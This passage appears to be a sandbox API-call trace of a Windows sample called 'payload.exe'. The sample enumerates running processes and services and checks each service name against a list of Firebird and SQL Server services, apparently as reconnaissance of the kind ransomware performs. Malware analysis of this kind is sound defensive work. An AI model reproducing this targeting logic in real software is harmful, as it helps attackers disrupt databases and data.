lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.619] lstrlenW (lpString="svchost.exe") returned 11 [0161.619] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.620] lstrlenW (lpString="svchost.exe") returned 11 [0161.620] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.620] lstrlenW (lpString="svchost.exe") returned 11 [0161.621] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.621] lstrlenW (lpString="svchost.exe") returned 11 [0161.621] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.622] lstrlenW (lpString="svchost.exe") returned 11 [0161.622] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.622] lstrlenW (lpString="svchost.exe") returned 11 [0161.622] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.623] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.623] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.623] lstrlenW (lpString="svchost.exe") returned 11 [0161.623] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.624] lstrlenW (lpString="audiodg.exe") returned 11 [0161.624] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0161.625] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0161.625] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0161.625] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0161.625] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0161.626] lstrlenW (lpString="Memory Compression") returned 18 [0161.626] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0161.626] lstrlenW (lpString="sihost.exe") returned 10 [0161.626] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.627] lstrlenW (lpString="svchost.exe") returned 11 [0161.627] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0161.627] lstrlenW (lpString="taskhostw.exe") returned 13 [0161.627] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0161.628] lstrlenW (lpString="msoia.exe") returned 9 [0161.628] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.628] lstrlenW (lpString="explorer.exe") returned 12 [0161.629] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0161.629] lstrlenW (lpString="SearchUI.exe") returned 12 [0161.629] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0161.630] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0161.630] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0161.630] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0161.630] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0161.631] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0161.631] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0161.632] lstrlenW (lpString="payload.exe") returned 11 [0161.632] Process32NextW (in: hSnapshot=0x3a4, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0161.632] CloseHandle (hObject=0x3a4) returned 1 [0161.632] Sleep (dwMilliseconds=0x1f4) [0162.145] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d920 [0162.146] EnumServicesStatusExW (in: hSCManager=0x69d920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0162.146] GetLastError () returned 0xea [0162.146] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x42479b0 [0162.146] EnumServicesStatusExW (in: hSCManager=0x69d920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42479b0, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42479b0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0162.147] CloseServiceHandle (hSCObject=0x69d920) returned 1 [0162.155] lstrlenW (lpString="Appinfo") returned 7 [0162.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0162.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0162.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0162.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0162.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0162.155] lstrlenW (lpString="AppXSvc") returned 7 [0162.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0162.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0162.155] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0162.155] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0162.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0162.155] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.155] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.155] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.155] lstrlenW (lpString="Audiosrv") returned 8 [0162.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0162.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0162.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0162.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0162.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0162.156] lstrlenW (lpString="BFE") returned 3 [0162.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.156] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.156] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.156] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0162.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.156] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0162.156] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0162.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0162.156] lstrlenW (lpString="CDPSvc") returned 6 [0162.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0162.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0162.156] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0162.156] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0162.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0162.156] lstrlenW (lpString="ClickToRunSvc") returned 13 [0162.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.156] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0162.156] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0162.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0162.156] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0162.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.156] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0162.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0162.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0162.157] lstrlenW (lpString="CryptSvc") returned 8 [0162.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.157] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.157] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.157] lstrlenW (lpString="DcomLaunch") returned 10 [0162.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.157] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.157] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.157] lstrlenW (lpString="DeviceAssociationService") returned 24 [0162.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.157] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0162.157] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0162.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0162.157] lstrlenW (lpString="Dhcp") returned 4 [0162.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.157] lstrlenW (lpString="Dnscache") returned 8 [0162.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.158] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.158] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.158] lstrlenW (lpString="DPS") returned 3 [0162.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.158] lstrlenW (lpString="DusmSvc") returned 7 [0162.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0162.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0162.158] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0162.158] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0162.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0162.158] lstrlenW (lpString="EventLog") returned 8 [0162.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0162.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0162.158] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0162.158] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0162.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0162.158] lstrlenW (lpString="EventSystem") returned 11 [0162.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.158] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.158] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.158] lstrlenW (lpString="FontCache") returned 9 [0162.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0162.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0162.159] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0162.159] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0162.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0162.159] lstrlenW (lpString="gpsvc") returned 5 [0162.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.159] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.159] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.159] lstrlenW (lpString="iphlpsvc") returned 8 [0162.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.159] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.159] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.159] lstrlenW (lpString="KeyIso") returned 6 [0162.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0162.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0162.159] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0162.159] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0162.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0162.159] lstrlenW (lpString="LanmanServer") returned 12 [0162.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.159] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.159] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.159] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.160] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.160] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.160] lstrlenW (lpString="lfsvc") returned 5 [0162.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0162.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0162.160] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0162.160] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0162.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0162.160] lstrlenW (lpString="lmhosts") returned 7 [0162.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.160] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.160] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.160] lstrlenW (lpString="LSM") returned 3 [0162.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0162.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0162.160] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0162.160] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0162.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0162.160] lstrlenW (lpString="MpsSvc") returned 6 [0162.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.160] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.160] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0162.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.165] lstrlenW (lpString="NcbService") returned 10 [0162.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0162.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0162.165] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0162.165] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0162.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0162.165] lstrlenW (lpString="netprofm") returned 8 [0162.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.165] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.165] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.166] lstrlenW (lpString="NgcSvc") returned 6 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0162.166] lstrlenW (lpString="NlaSvc") returned 6 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.166] lstrlenW (lpString="nsi") returned 3 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.166] lstrlenW (lpString="PcaSvc") returned 6 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.166] lstrlenW (lpString="PlugPlay") returned 8 [0162.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.167] lstrlenW (lpString="Power") returned 5 [0162.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.167] lstrcmpiW 